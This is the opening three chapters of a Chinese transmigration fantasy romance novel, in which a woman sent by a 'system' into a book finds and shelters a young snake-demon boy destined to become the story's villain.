《培养一个反派》
1. 反派
天地雪白一片,萧瑟的风卷着雪粒子拂过万里山河,从人界的江南水乡刮到了北漠雪原,肆虐的冰雪在这山顶上最甚。
一只鸟扑腾了翅膀,从雪窝中飞出来。
伴随着簌簌雪花,露出地面上被雪覆盖的人体残肢。流成河的血都干涸了,皑皑白雪下是污黑的土地,尸体堆叠成山,蔓延到天际尽头。
啪唧,那鸟被凭空而来的剑气斩落,砸在白芒脚下。
脚边的血珠很快又被鹅毛大雪掩盖,白芒吸吸鼻子,被冷气激得差点打个喷嚏出来。
她小心翼翼瞧着远处的背影,那人身上的戾气都快成形了,白芒忍不住想叹气。
做牛马,哪有能好好休假的。睁眼之前,她还在美丽海岛上晒太阳,享受现代科技。平板上还播放着男模跳舞,冰可乐刚端到手里,她就被万恶的系统拉去穿书,连多享受一秒都没有。
来不及多了解这本书,在她骂骂咧咧的背景音中,系统粗略的讲述了大概。
眼前这个快要崩塌的世界是一本仙侠虐恋小说,男主是端正守礼的温润神君,女主是活泼大方的天真少女,彼此相伴成长,互生情愫。
但男主背负深仇大恨,不愿连累女主,在种种狗血误会下上演她逃他追的戏码,最后再来个追妻火葬场。
众所周知,这样虐恋情深的故事里总有个作恶多端的反派,前期掺合进去喜欢女主,后面黑化毁灭世界,最终被男女主杀死,合家欢结局。
按系统的说法,这么典型的套路,不需要她这个“业务骨干”过多研究,更何况她的任务很简单——找到年幼时期的大反派,培养他,教坏他!
“这么容易的任务,何尝不是一种休假呢。”狗系统厚着脸皮如是说。
白芒讨价还价,直到它答应了这次穿书后让她带薪休假十年,并且给她三套海景别墅才应承下来。
随后就被传送到这里,白芒忍住了脱口而出的第三次叹气,动了动冻僵的脚。
在这即将崩坏的世界,满地尸体就是拜前面的那个背影所赐,无需多想,那一定就是所谓的大反派,无恶不作,手段残忍。
“好了,你记住反派的脸,然后回故事最初去找他。”脑海中,系统的声音有些嘈杂,像是信号即将中断似的。
“就算任务简单,信息也太少了点。”白芒在心里抱怨。
系统的声音越来越弱,“触发关键剧情时,你会想起来的。我还要去对接别人,祝宿主第十次穿书好运。”
“……”白芒在心里骂的很脏。
随着耳中滴的一声机械音,白芒心知是已经和系统断联,她再次抬头,一片寂静,雪落下的声音都清晰可辨,一股杀气突然刺来。
唰——
身后一人合抱粗的树被拦腰斩断,仅仅是一道剑气,若不是躲闪及时,恐怕她的脑袋都早分家了,白芒扭头,那魔头离她还有数十丈远,根本看不清脸。
捂着惊魂甫定的心口,白芒咬牙跳出来,“没打到,再来!”
又一道剑气更快袭来,白芒抱头鼠窜,努力想靠近他,可剑气越来越难躲避,她深吸一口气,在树干后蹲下来,放弃了主动走近的念头。
那人只是站在原地挥动着双臂,动作狠戾中却有丝滞涩,似乎没有神志一般。白芒观察了片刻,尚一筹莫展之时,魔头周身突然浮现起一串金色符文。
符文旋转着组成了铁链,飞快贴到他身上,瞬间锁紧,他被拉扯着不得不抬高头颅,露出修长白皙的脖颈,裹挟在浓黑的衣袍之下,那段脖子白得不像活人。
竟然还有种破碎的美感,白芒不合时宜的啧舌,扭头看去。
雪包后面飞出几个白发苍苍的老头,义愤填膺的瞪着魔头,他们二话不说的合力汇出一根寒枪,枪身上缠绕着金光闪闪的符咒,下一瞬就要贯穿魔头的胸膛。
白芒扫视一圈,没有见到容貌惊天的人,根据颜值分配法,男女主必定不在现场。虽不认识,但从这架势也知道,他们必是来铲除魔头的正道人士,她从手腕上脱下一枚镯子。
寒枪瞬间催动,速度之快,似乎要穿过时间,眨眼间就到了魔头身前,可方才还杀气凌厉的魔头,此刻竟闭着眼引颈就戮。
枪尖即将穿过他的脖子,正气凛然的老头们都露出了笑,接着就听到铿然一声。
玉镯碎裂成几块砸进雪中,枪也瞬间化作白汽消散,惊心动魄的一击就这般被挡了下来。
魔头猛然睁开眼转向她,老头们在愕然之后也怒目看向她,白芒呵呵一笑站起来,抖了抖身上的雪。
既然要穿进玄幻修仙的故事里,她自然也不能只是个普通人,感受了下周天行走的灵力,白芒打起精神看向那几个怒不可遏的老头。
“妖孽,竟阻拦我等除魔。”为首的白发白须老头低喝一声,二指并拢在鼻下,幻化出一柄利剑。
白芒正琢磨着怎么变个盾出来的时候,身体突然不受控制的往后飞,就像是被大力拉扯住的布匹,她轻飘飘落在了魔头身后。
方才还束缚住他动弹不得的锁链被轻易挣开,魔头挥剑,万千剑影闪烁着往前刺去,不容躲闪的钉进那些人的胸膛中,血雨飘落。
天地间再次沉寂,饶是经验丰富的白芒,此刻看着魔头阴晴不定的背影,心里也未免紧张。
她捏住指尖的一块灵石,只要捏碎了,她就能回到故事最初。
白芒舔了舔嘴角,抬起头,眼睛都不敢眨一下。
只要看清楚魔头反派的脸,她就能回故事开头,找到他做任务了,他转身了,他马上就露脸了——他弯腰做什么?
白芒莫名其妙的看着他背对着自己,弯腰捧起一堆白雪,先搓了搓手,又搓了搓脸。她后知后觉的意识到,他好像是在洗手洗脸,白芒没忍住抽了抽嘴角。
倒是个有偶像包袱的反派。
雪天独有的清冽气息扑面而来,他慢慢侧过身,白芒在看清他脸的瞬间不由得屏息。
魔头慢腾腾的靠近她,眼睛里像是布着一层看不清的阴翳,他耸动着鼻子凑向她。先是闻着头发,然后是额头,最后滑在了她颈侧,鼻尖贴着她薄薄皮肉下的动脉。
仿若幻觉般,白芒看到他的下半身突然化作了一条尾巴,漂亮的银白色鳞片,尖端轻轻摆动着,仿若主人心情很好似的。
那尾巴一点点缠住了她的脚,白芒深吸一口气,手指间不自觉的用力。
光芒闪过,正要收紧的尾巴扑了个空,尾尖摇晃的幅度越来越小,最后僵硬的停下。面前没有人了,魔头低垂着头,放任鳞片往上蔓延。
巨大的身体蜷缩起来,围绕着中间的那一点空地,他继续用力的闻着她残留下的气息。
银装素裹的山林中,忽的响起一声尖厉鸣叫,惊起雪崩,轻柔的雪花瞬间吞没了这座山,万籁俱寂。
——
掀开火炉盖子,一铁锨煤渣子倒进去,火苗被压下后又猛地窜起来,热浪翻涌。
白芒搓了搓手,把灶膛里烤好的红薯拿出来,烫的她左右手来回倒,费了好半天才剥开皮,咬下一口,她转头看着外面。
雪已经在窗台上积了一层,她此刻身处北山脚下的李家村,正值冬日,雪飘飘扬扬下了两天。
黄澄澄的烤红薯很鲜甜,白芒又顾不上烫咬了口,听着火苗的噼啪声,不觉想起那一日。
即便是看过无数的书中绝世美人,那魔头的脸也足以让她一眼惊艳,眉眼冷然,眸子如一点漆墨,极致的黑与白冲击着,比之具体的五官更让人记住的是那冷傲孤绝的气质,偏生眼皮上有颗小痣,低垂视线时魅惑可亲。
白芒不自觉动了动脚腕,被缠绕的感觉还记得,她是在心悸之下才捏碎灵石。
天杀的,她怕那种长尾的动物,不然就能多看美人两眼了。
忿忿咬完最后的几口红薯,白芒洗干净黑乎乎的手指,忽的听到门外的嘈杂声。
隔壁住着的大婶是个大嗓门,正高声嘱咐着自家男人上山要小心,白芒想了想,把灶膛里剩下的烤红薯都拿出来,咔嚓踩着雪出门。
“婶子,李叔要上山去啊。”把热乎乎的烤红薯塞进妇人怀里,白芒笑呵呵看着正往腰上佩刀的男人。
妇人点头,一把拉过她压低声音,“白姑娘,有妖怪来过。村子里的男人,这会子都要上山杀妖去。”
“妖?”白芒挑眉。
李婶满脸严肃的点点头,拉紧头巾,指了指村头,那里一户人家正挂着白幡。“喏,李三家的孩子,就是半夜被妖叼去的,就留下了半具身子,他娘都吓疯了。”
“会不会有别的隐情?”
“怎么可能!”李婶拍手,嗓音不觉又大起来,“那么硬的脑壳都被咬了一半,还无声无息进来,不是妖还能是什么。我们村紧挨着北山,本就精怪多,必定是妖。”
白芒皱眉,不及说什么,就听到男人不满的言语。
“你同一个外乡人说那么多作甚。”清点完身上的刀,李正又把灌满狗血的葫芦绑好,哼了一声就要走。
“李叔且慢!”白芒蹬蹬追上去,合掌祈求,“我能跟着你们一起去除妖吗?”
白芒是在五日前突然出现在这村子的,按系统的说法,这是一切故事开始之前,她买下这间空屋子暂住,只等遇见那未来的魔头。可她这几日暗自找寻也没有任何消息,这传说的妖或许是个机遇。
上上下下扫了她一眼,李正不屑的翻个白眼,用鼻子哼了声。
李婶忙
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拉住她的胳膊,“诶呦,你一个弱女子,杀什么妖啊。”
“我不弱。”白芒随手在指尖凝出一朵小花,冲李婶笑,“我是个散修呢。”
瞬间瞪圆了眼睛,李婶惊讶的捂着嘴,另一只手还紧紧抱着怀里的烤红薯,看她的眼神已尊敬了许多。
白芒期待的转头,李正眼中的嘲弄却更甚,他抽刀凭空一划。
“眼下这年头,谁不是个修道的。花里胡哨,巧言令色,不过一群骗子。”
灵力凝出的花朵像是被狂风吹过,所有的花瓣都掉落下来,白芒错愕抬头,就见他收刀入鞘。
李正懒得与她多言,自顾自转头,大踏步往前,魁梧的皮毛在他厚实的身体上,显得他就像一座小山。
“李叔小心。“
身后响起白芒含笑的声音,李正没当回事,头都不回。可再往前跨步时,腿脚却突然变得酸软。
眼看着小山移动的速度慢了下来,白芒背着手,笑眯眯的凑上前。“李叔,能带我去了吗?“
她当着自己的面动了动手指,那股酸软的感觉消失,李正站直后凝视她,”虚张声势,山上危险,可没人保护你。“
大掌拂开她,李正大踏步往前,在没被清扫的雪道上踩出一串串脚印。
男人们在山脚下聚集,都和李正一个打扮,身披厚实的熊皮,腰间别着沾过符水的刀。
“村长,怎么带了个女的?”
李正往后一瞥,和他们这些魁梧的人比起来,那外乡人看起来瘦弱纤细,可又摸了摸还有些乏力的腿,他道:“上山。”
白芒默默跟在最后面,即将穿进松树林时,身前的李正突然往后递了一把刀。她刚拿上,李正就快步到队伍前面去了。
“山路滑,都走慢些。”
山中的雪要更厚,许多松枝都被压低,青松的味道湿润冷冽,鼻腔都是冰的。他们排成了队往山上走,后面的人踩着前一个人的脚印,李正转弯时往后看了眼,白芒竟还没掉队。
越往上,松树没了,脚下的土也变的越来越硬,都是长久生活在这里的人,他们明白再往上就不是普通人能去的了。李正摸出个罗盘,朝四方转了转后,领着他们往一个方向而去。
白芒背着手慢吞吞的走,在她的视线里,前方称得上是妖气弥漫。
之前那么多次任务的成功,靠的就是她不多管闲事,白芒不打算去提醒他们,分神探寻着有没有反派的气息。
本以为不过是撞个运气,白芒微闭眼,感受着释放出去的那股灵气,不想这次却有所感应。辨清方向,白芒闭着眼没走两步,突得撞到了一人宽阔的后背,她踉跄往后几步,捂住额头。
原本走在前面的队伍不知何时停下了,被她撞到的人没有丝毫反应,还在和周围的人热切讨论着。
“这就是条冬眠的蛇吧?”
“看上去什么反应都没有,应该不会是妖。”
叽叽喳喳讨论了一会,最后还是李正下的定论,“就是条蛇,走吧。”
趁着天色,他们要早些找到作恶的妖怪,就算杀不死妖,吓走也是好的。这样想着,李正朝着罗盘指示的方向加快脚步。
无人注意到,队伍末尾的白芒停了下来。
白芒心情复杂的看着面前这细长的一条,银白色的鳞片闪着光,几乎要融进雪里去。
怎么看,都像是那条见过的尾巴。
白芒有些为难,它看上去冰凉僵硬又平平无奇的,怎么也不像是能和男主打擂台的大反派。说不定是她找错了,这样想着,白芒转过头想往前走。
余光里,雪堆中却有光闪过。
白芒若有所感的转头。
同样的位置,雪堆里哪还有什么小蛇,只有个眼神警惕的男童,看上去约莫是个三四岁的模样。
模样熟悉,巧了,眼皮上也有一颗小痣。
白芒抚掌,露出优秀员工专业的八颗牙齿的微笑,当即就要把他从雪窝中抱出来,谁知刚蹲下来伸出手,男童就立刻往后躲闪。
动作间撞到了身后的树干,雪花纷纷扬扬落在他们二人之间,闪烁着璀璨的阳光。
“你是谁?”
他态度戒备,白芒顿了顿,一时不知该如何界定他们之间的关系。按照任务来说,她需要照顾他,保护他,教养他,再看他眼下这个年纪,白芒自信开口:
“说出来你可能不信。”
“我是你妈。”
“……”
白芒眼睁睁看着未来大魔头短暂愣了神,没有再抗拒她伸过去的手,她在心里哂笑,就当抱住他的瞬间,小男孩以迅雷不及掩耳之势低头张嘴。
钻心的疼陡然从手腕传来,白芒顿时疼出泪,差点叫出声。
2. 蛇妖
“听说过农夫与蛇的故事吗?”
“倒霉的农夫好心救了一条僵死的蛇,蛇醒了,第一口咬的就是他。”
坐在快熄灭的火炉旁,白芒捧着有两个洞的手腕,自顾自啰嗦,身后是悉悉簌簌的响动。
他咬过她一口之后,就直接昏了过去,白芒怕引起不必要的麻烦,立刻抱着他下了山。回到住处之后,将他往暖和的被窝里一放,半刻钟前他才幽幽转醒。
问她要了身衣服,他就在被窝里鼓捣着什么,白芒便背对向他。
说了这么久也没见他有所反应,不愧是以后冷漠无情的大反派,白芒耸耸肩,也不再装可怜,往炉灶中添了些煤渣,热气在狭小的屋子里翻腾。
“我咬了你。”
身后传来一道青涩的少年音,白芒猛然转身,看清后不自觉呆住。
片刻之前还是个孩童,转眼间他就长成了十六七岁的模样,面庞看上去还是稚嫩的,但已能确认就是那个毁天灭地的反派。
阴差阳错找对了人,白芒没忍住,一时间热泪盈眶。
楚卿礼坐在农家的火炕上,腰部以下还围着有她气息的棉被,他有些不适的动了动,抬头就看到她眼中的泪光,他搓了搓被角,“你中了我的毒。”
“亲热解毒?”白芒脱口而出后怔了怔,面前的人也瞪大了眼睛。
瞬间沉下脸,楚卿礼坐直一些,“痴心妄想,你听从我调遣,我自会给你解毒。”
他眉头轻皱,嘴角绷起,能瞧出往后唯我独尊的苗头。但眼下,白芒不自觉看了看他微红的耳尖与掐紧的手指,敷衍点点头。“行,都听你的。”
按说,她本就是为他来的,也该顺着他。
眨巴两下眼睛,白芒微蹲下来靠近他,少年却立马戒备的拉着被子低头瞪她,不顾他这张牙舞爪的模样,白芒笑着伸出手。
“那认识一下吧,我叫白芒,你呢?你又为什么突然变这么大的?”
白芒笑起时眼睛弯弯,嘴角右侧有浅浅的梨涡,用系统的话说就是极具欺骗性。凭这张笑脸,她曾顺利完成过许多艰难任务,此刻她笑得更柔和,一面期望少年放松,一面暗骂连名字都忘了说的狗系统。
在她期待的目光中,他捏着被角的手指果然一点点松开,眼看着将要说些什么的时候,大门突然被大力推开。
“有人吗!”
听上去不是很客气的嗓门,是李正。
白芒看了眼他,果断将他推回被子里,“别出声。”
说完她便走出房门,迎面瞧见李正已走过了一半院子,四目相对时,他黑沉着脸开口。
“你何时回来的?”
借着拨弄发丝的动作,白芒眼尾扫过背后静悄悄的屋子,才笑答:“都是我不好,山上实在冷,我受不住便先回了,也没告诉李叔一声。”
李正浓眉挤成一团,还是上山时的那副打扮,肩头的雪化后将皮毛打湿成绺,“可曾遇到异常?”
“未曾。”
墨碳般的脸对向她,李正粗重的呼吸了几下,“妖没有抓到,我们需要再去探查孩子的尸体,你既是修道之人,可否帮忙?”
这些天来,白芒也大抵搞清楚了一些世界设定,简单来说可分为修真界,人界与妖魔界,修真界为尊,开宗立派的大多已为仙人,妖魔界则混杂群龙无首。人人都可修道,修道的方式也千奇百种,但只有天之骄子才会被各宗门选中。
妖与魔大多都会在自己的地盘里,互相争夺倾轧,只有些未开神志或穷凶极恶的游荡在外。北山连接着极寒之地,也曾出过不少仙门,如今却只是灵力枯竭被舍弃的地方。
没有仙门庇护,村子里的人过得平静也艰难。遇到这种妖孽作祟的事情,往往只能咬牙认了,还留在这的人越来越少,就连新生儿,现在也只有那死去的一个。
仿佛,整个村子的人都在默契的走向灭亡。
当然,这些和白芒没有什么关系,书中的人物,和游戏里的npc没什么区别。
“好,我这就去。”
白芒扬起脸笑着应了,她只在乎她的任务,眼下答应也只是不想李正发现了那明显有异常的少年。
一门之隔,楚卿礼趴在门上,听到外面的声音都消失后,放松紧绷的身体。他再次回到火炕边,目光复杂而羞涩的看着掀开的被子。
淡绿色的被褥中,是一层完整的银白皮,如同蛇尾。
是他的皮。
楚卿礼不自觉的翕动鼻子,过分灵敏的嗅觉,让他甚至能勾勒出她在这小小房间中曾有过的举动。
陶盆里是淡淡的桂花香,她用它洗过头,碗筷上残留的种种食物气息中,交织着一股甜腻的胭脂味,红木柜子里的味道最重,他知道里面是她的贴身衣物。
楚卿礼的目光巡视着到了被子上,陡然颤了颤,被褥本该是她的味道更浓郁的东西。可如今……
猛地将那层皮拿过来,光芒在上面一划而过时斑驳出缤纷的颜色,楚卿礼却几下将皮折了起来,几番寻找后,在红木柜下挖出一个坑埋了进去。
——
素白的天地中,象征着丧事的灵幡,也显得平常起来。
白芒仰头,看着垒了一半的墙面,还能从断面看到夯土的痕迹,米浆黏黏糊糊粘住一半的“福”字。
“李三家原本只有一间屋子,他媳妇说孩子长大不够用,本想再修一个屋。”
收回目光,白芒冲李正笑笑,“怎么不见孩子爹娘?”
李正指了指屋中的棺木,“要开馆查尸体,谁忍心让他们再看?”
白芒默了默,顺着他手指的方向走过去,棺木已被打开,她低头瞧着里面。
怪不得不忍心让孩子父母再看。
瘦小的身形,还不到棺材的四分之一大,身子当真被竖着分成了一半,那半张脸上的一只眼睛还大睁着,似是惊恐。断面看上去参差不齐,还能看出是什么东西的牙印。
事死如事生,可棺中也不过是不合身的旧衣服,断了腿的木头小狗。村子本就不富裕,这家人过得更紧巴。
白芒看过后抬头,见李正还站在院子里,他半张脸埋在衣领中,看不清楚表情。
“下山时,你到底可曾遇到过异样?”
“不曾。”白芒皱起眉。
话音刚落,银光猛然从棺材中迸射而出,化作绳索绑住了白芒手脚。速度之快,让她都反应不及,白芒低头看着绳子,面色变冷。
李正指尖的符纸燃尽,他深深瞧白芒一眼,“修道之人,也会被妖怪蛊惑,真是可笑。”
顿时察觉到什么,白芒想挣脱,绳子却像是有意识般随着她的力气缩紧。
“村长,妖怪被我压来了!”
大门被一道兴奋的声音踹开,白芒循声看去,顿时瞳孔紧缩。
少年低垂着头,像是羞于见人一般,本就不合身的衣衫更是凌乱,同样的绳索将他捆的更严实,腰上都足足缠了三道。
应是在她走后,就有人去搜了她的住处,将少年给绑了过来。
拉扯着绳子另一头的男人还十分兴奋,手里高举着一块什么东西,熠熠生辉。“村长,这是妖怪蜕下的皮!”
白芒眉心轻挑,往上看去,层层叠叠的银白色鳞片。
难怪他瞬间成了这副模样,她记得说蛇都是蜕皮后会长大的。
“果真是蛇妖。”李正面露鄙薄的瞧过,“这般小的孩子也下得了手,真可恨!”
“妖孽!还我儿命来!”
李正的声音还没落下,门里又飞奔进来一个男人,二话不说的举着锄头就要砸他。
少年下意识的躲闪了一下,锄头偏了一些,在他额头砸出一个血口,血珠顿时滚落而下,染红他半
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张精致的脸。
短暂停滞之后,李正忙拉住了悲怒交加的男人,“妖孽凶恶,我们自然会处死他,为孩子报仇。”
紧握着木杆的手用力到青筋乍起,男人瞪着少年呼哧呼哧喘粗气,目光滑过堂中的棺材后猛然脱力,松了手跌跪在地上捂着脸哀哀哭泣。
“他才五岁,连糖瓜都没吃过,你怎么不吃我呢?”
一时静默,李正眼中杀意更盛,从怀中摸出另外三张符纸。丑恶妖孽,就该被火活活烧死,才能告慰人心。
白芒无声瞧着,雪地中的少年像是易折的竹竿,脆弱得真的能被这几个凡人杀死。
他终于抬起头,蠕动着嘴巴想要说些什么,又在看到那层蜕皮后僵住,就像是看到了宣告他有罪的证据。他扭过头,想远远看下那棺木,目光不期然掠过了白芒。
白芒不由得瞬间怔住。
他眼尾通红,目光茫然,睫毛也在轻轻震颤着,连带着抖动眼皮上的小痣,如同无措不安的孩子,连做错了什么都不知道。绳索困住的手指紧紧捏着衣角,像是在竭力掩盖自己的慌张。
“去!”催动符纸,李正高喝一声,符纸化成的火龙立即窜向少年,火光瞬间在他周身暴涨。
热浪侵袭而上,楚卿礼没有挣扎,微合上眼。可炽烈的热气还没舔上他的衣袖,就被突然降下的冰雪熄灭。
他怔怔转头,就见白芒不知何时到了他身后,施完法的指尖还飘着雪花。
火光干干净净的消失,白芒在所有人反应过来之前一把揪住少年的衣领,踏风越过屋顶朝外飞去。
“妖孽该死!”
男人的咒骂声顺着呼呼的狂风传入耳中,白芒能感受到掌下的人缩了一下,随后靠得她更紧了些。
堂堂毁天灭地的大反派,这心理承受不太行呀。
心中调侃着,白芒却放缓了飞行的速度,一手往下牵住了他的手。
蜷缩起来的手指被温热的手掌包裹住,楚卿礼浑身被烫得一颤,倏地抬起眼盯住她的侧脸。他已经很久没被温柔对待过了。
村子暂时不能回去,白芒只好往别的城镇飞,约莫不会被追上来了,她看准一块无人的平地落下去。双脚踩实的瞬间,白芒后撤一步与他隔开距离,手也顺势抽离。
指尖刚一松开,少年就如同触电般退后三步,眼神闪躲。“男女大防。”
“……”这种话他也能说出口,是谁刚刚贴近她,又是谁以后纠缠女主,白芒搔了搔头发。
少年比她要略高一点,他拧着眉心看她片刻,什么都没说的转身就走。
“诶,你等等啊!”没料到他会是这样的反应,白芒忙要去追。
被雪打湿的青石板很滑,白芒一脚踩上去,滑得前仰后合,跌跌撞撞上前拉住了他的手。
没想到他的手温度却极高,烫得她都缩了缩掌心,白芒不由得蹙眉。
他回过头来,似是极力压抑着什么,呼吸急促,原本冷漠的眼睛被水润过,干净澄澈的看她,像是质问她为何纠缠。
聚焦在他眼皮上的小痣,白芒舔舔唇角,“我中了你的毒,你不能离开我。”
少年眉头皱得愈深,摆动胳膊想抽离出手,却被她拽得更紧,动作间不期然划过了她的前胸。柔软的触感唤醒头脑中的烟花,楚卿礼瞳孔瞬间变竖,反手握住她的胳膊,埋头就又要咬。
白芒这次没打算忍,看到他尖牙伸出来的瞬间就张嘴,“啊……啊?”
意料之中的疼痛并没有到来,他收着牙,用湿润的舌尖舔舐着她手腕上的伤痕,若有若无的粗糙感痒得白芒发颤,她猛一把推开后退。
弯着腰的少年仰起头,眼神端正得毫无杂念,带着一层朦胧水雾看她。
“其实我没毒,”
咕咚。
话音落下,他就一头栽倒,双眼紧闭的昏迷在地。
3. 妖仆
宿雪镇是北山附近最大的城镇了,即便相比于其他镇子,这里的规模还是小上许多,就连客栈都只有一家。
白芒拎着不省人事的少年,在店小二戏谑的眼神中,住进了最大的一间屋子。
他睡着时也眉头紧锁,不知道在愁些什么,白芒戳了戳他的脸颊。
鼓鼓囊囊的被子里立刻有光芒闪过,下一刻就有细细长长的尾尖打着圈的黏上她的脚。
被接连冲击过后,白芒对这种长尾巴的害怕已经少了许多,她甚至都敢仔细瞧上几眼。
刚长出来的新鳞片,看上去都要柔软许多,白白嫩嫩的包裹着如若无骨的尾巴,触不到她的皮肤,就有些急切而茫然的在空中摇曳着。
白芒揉了揉摸过他额头的指尖,还是烫的,本着客户第一的原则,她果断用两根指尖捏着他的尾尖,掀开被子扔了进去。
暖烘烘的被子里,尾巴柔顺的躺着,贪恋方才短暂的贴近。早已被本能控制住心神的楚卿礼满头大汗睁开眼,只迷离瞧见她离去的背影,嗫嚅两下嘴巴就又睡了过去。
可因为那一瞬的触碰,合上眼的瞬间,他尽做了许多绮丽的梦境。
妖性善淫,妖性险恶。
神志彻底消失前,楚卿礼喃喃着,在梦中撕碎了女子的绿衫裙。
到底是镇子上,找大夫都方便许多,白芒将银子给了小二没多久,就有人敲了门。
准了人进来,白芒瞧见大夫后,没忍住笑出来。
山羊胡子,笑眯眯的眼睛,灰色衣服,方方正正的药箱。实在是很标准的一个大夫,并不重要,就跟漫画里同一张脸的路人甲们一样。
也和试图自杀之前的她一样。
不过大夫的医术看上去很是不错,他只看了看床上大汗淋漓的人,就气定神闲的摸了摸胡子。“小姐放心,不碍事。”
顿时轻松一些,白芒走近床榻,瞧着他还是不舒服的样子,“那这是怎么了?”
“哦,没事,发情了而已。”
“那就好……啥?”
白芒瞬间瞪圆了眼睛,仿若要证明大夫说的没错一样,楚卿礼的尾尖又从被子里游出来,轻轻缠绕上她的手腕。
没来得及躲闪,她手腕上的尾巴就猛地蜷缩紧,有神志一般大力拉她,白芒一个踉跄跌过去,撑住床边才没直接砸他身上。
大夫继续捋着胡子笑,“就是这样,成年之前的第一次发情,等交合过就好了,他就会是你一人的妖仆。”
“你胡说什么!”白芒没挣脱出身,先气急败坏的瞪了眼大夫,扭头又毫不客气拍了把楚卿礼的尾巴。
他仍皱着眉心,但那还在缩紧的尾巴却猛然停下,犹豫着松开后,用尖端贴着她的手背蹭了蹭。
说不上是安抚还是讨好,白芒却被冰的一缩手,到底是冷血动物呐。
看着她站远了的动作,大夫不再捋胡子,转身从药箱里拿出一瓶药,“不想交合,就只能靠药效让他熬过去,也不影响他成为你的妖仆。”
怎么绕来绕去还是妖仆,白芒抓抓头发,这展开方式实在不是她想象的样子。“还有别的方法吗?”
大夫坚决的摇头。
在修真界的管理之下,妖是最低贱的存在,出路只有两条,要么是妖仆,要么是修者的丹炉。
大夫一手晃晃药瓶,“灵石二十颗,要不要?”
坐地起价的万恶药贩子!
白芒咬着牙把钱扔给他,一把夺过药瓶,打开就看到里面只有三颗药,顿时想骂人。
“一天一粒,化成水喂它,最好掺点有你气息的东西。”大夫已火速跳到门口,得意洋洋抱着灵石,“你这两天最好和他在一起,没有你的味道,他会更不舒服的。”
语毕,还贴心的关上门。
骂人的话在嘴边绕了一圈又被咽回去,白芒转头,看清床上的景象时瞬间瞪大眼睛。
这也是她能看的?
被子卷成条被他踢开,露出从腹部蔓延下的银白色长尾,本不合身的衣服,此刻更是被他蹭的大开,肌肉很美,是力量感恰好的美感。
扭过头,白芒的视线在房子里绕了一圈,又落在手上的药瓶上,花了她很多钱的药瓶。
白芒气沉丹田,毅然走到床边坐下,目不转睛的看他。
没错,这就是她该看的!
扯走他早就汗湿的衣衫,白芒扔开厚被子,用薄毯盖住他。她还不知道他的名字,也不知道他的年纪和过往经历,听大夫说,是才刚快成年。
白芒不自觉的伸出手,轻点在他脸边,瘦瘦的,连点可爱的婴儿肥都没有。
不愧是杀气凛然的大反派!任务成功简直是轻而易举!
睡梦之中,楚卿礼感到一股清凉的气息在靠近,助力他终于从那旖旎的梦魇中脱离。仍睁不开眼,他放松腰腹的肌肉,不受控制的陷入另一场梦里。
“妖孽贱种,也配学修道之法?如你生娘一样,令人讨厌。”
“还不让我碰?你的存在,不就是伺候楚家人吗?”
“卿礼,你要记住,我们不是妖。”
楚卿礼眉头越皱越深,气息紊乱,刷的一下睁开眼,“娘!”
“啊?你喊我?”
楚卿礼猩红的视线中,窜出来一个迷茫得眼都没睁开的脸,是白芒。
毫无形象的打了个哈欠,白芒揉揉眼睛,已经一夜过去了,她趴在床边睡得好好的,就听到他突然喊了什么。见他半天只知道发愣的,白芒站起来动动僵硬的胳膊。“我去给你冲药。”
神志慢慢回笼,楚卿礼忆起昏睡前的那一眼,原来她没有抛弃他吗?
想下床,可是刚一动腿,尾巴就从被子里冒了出来。楚卿礼双眸瞬间放大,羞耻的看着罪恶的尾巴,红潮从脖子上蔓延。
怎么忘了,他是发情了,那他是怎么恢复神智的?
楚卿礼猛然转头,看着背对着他倒水的白芒,眼底神色逐渐绝望。
她衣衫凌乱,脖子后面都是红痕,一定是他做的。
指尖捏紧,楚卿礼一时间也不敢确定,他昨夜到底是做梦还是真实。尾巴恹恹的变成两条腿,他屈膝坐起来,神情挣扎。
一晚上过去,水都凉了,白芒等水壶烧开,手绕到身后挠了挠。昨晚她是趴在床边睡的,也不知道是吹了冷风,还是吃错了什么,好像有些过敏。
手指又挠了挠,痒痒涨涨的感觉很难受,白芒见水滚开了,转转脖子将药化开。“喏,好了。”
少年的神色好像有些奇怪,怔怔的接过去就喝,白芒阻拦不得。“诶。”
“嘶——”楚卿礼被烫的一激灵,抽吸好几口冷气。
好心的递给他帕子,白芒道:“你喝完药再休息会儿,我要再去找一趟大夫。”
楚卿礼捧着杯子小口的喝,“找大夫做什么?”
白芒又挠了挠后颈,“找点药涂。”
楚卿礼顿时愣住,双手抱着杯子顿了许久,眼神越来越愧疚,“对不住。”
越发难受的白芒已站起来,听到他没头没脑的道歉,回头瞧他。
他的眼神十分诚挚,好像真的很抱歉,白芒莫名其妙的笑笑。心道,看上去怎么有些实心眼呢,大反派
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年少时期是这样的风格吗?
算了,完成任务就行。白芒推开门冲他挥手,“等我回来。”
才刚恢复的双腿,转瞬又成了长长的尾巴,尾尖垂下来,欢快的晃了晃。楚卿礼磨蹭着喝完药,对着早已合上的门扇舔舔嘴,“好。”
白芒问过小二大夫的地址,离这家客栈并不是很远,将衣领拉高了些遮住脖子,她步履匆匆的走去。
镇子上的人并不多,似乎大多都认识,她这个陌生面孔就很引人注目,不少人会回头看她一眼。
不算是多不友善的目光,可仍旧让她不适,白芒加快脚步,闪进医馆中。
医馆里没什么人,大夫正坐在摇椅上看书,哼哼唧唧的很是惬意。
“嘿,大夫。”白芒蹿到他面前,笑嘻嘻扯掉他手中的书本。
就是他坑了自己二十颗灵石!
大夫瞪大眼睛瞧清是她,一下从摇椅上跳起来,“你你,你来做甚!”
“紧张什么。”坑都被坑了,她还能把钱要回来,白芒露出她红肿的后脖子,“我好像起风疹了,来买点药。”
大夫却仍没放松,戒备的盯着她,手伸长够到橱柜后摸出一瓶药膏丢给她,“快走,快走!”
不太对劲,白芒摩挲瓶身,冲他粲然一笑,“多少钱?”
“不要钱,你走!”
果然不对,白芒一个闪身逼近他,“发生什么事了?”
见他支支吾吾还想搪塞,白芒凭空抓来他的钱袋,晃了晃,“二十颗灵石呢,你觉得我俩能不能算旧相识,我出了事,你能不能跑得掉?”
大夫瞬间委顿下来,跺脚道:“罢!是我倒霉,你随我来。”
掀开通往内室的帘子,大夫取出两团揉皱了的画像,展开给她看,“这是不是你与你的妖仆?”
还真是,白芒神情立刻严肃起来。
“这是清府贴出的告示,就是找你们呢,好像说是你的妖仆伤人。”
清府,是修真界用来管理人界的机构,类似于寻常官府。
白芒脸色凝重,这必定是李家村的人通报上去的,只是没想到清府的人怎会来此,按照往常,这并不是会密切管辖的地方。
少年现在的状态不稳定,她得带着他快点跑。思及此,白芒将钱袋恭敬还给他,“多谢大夫。”
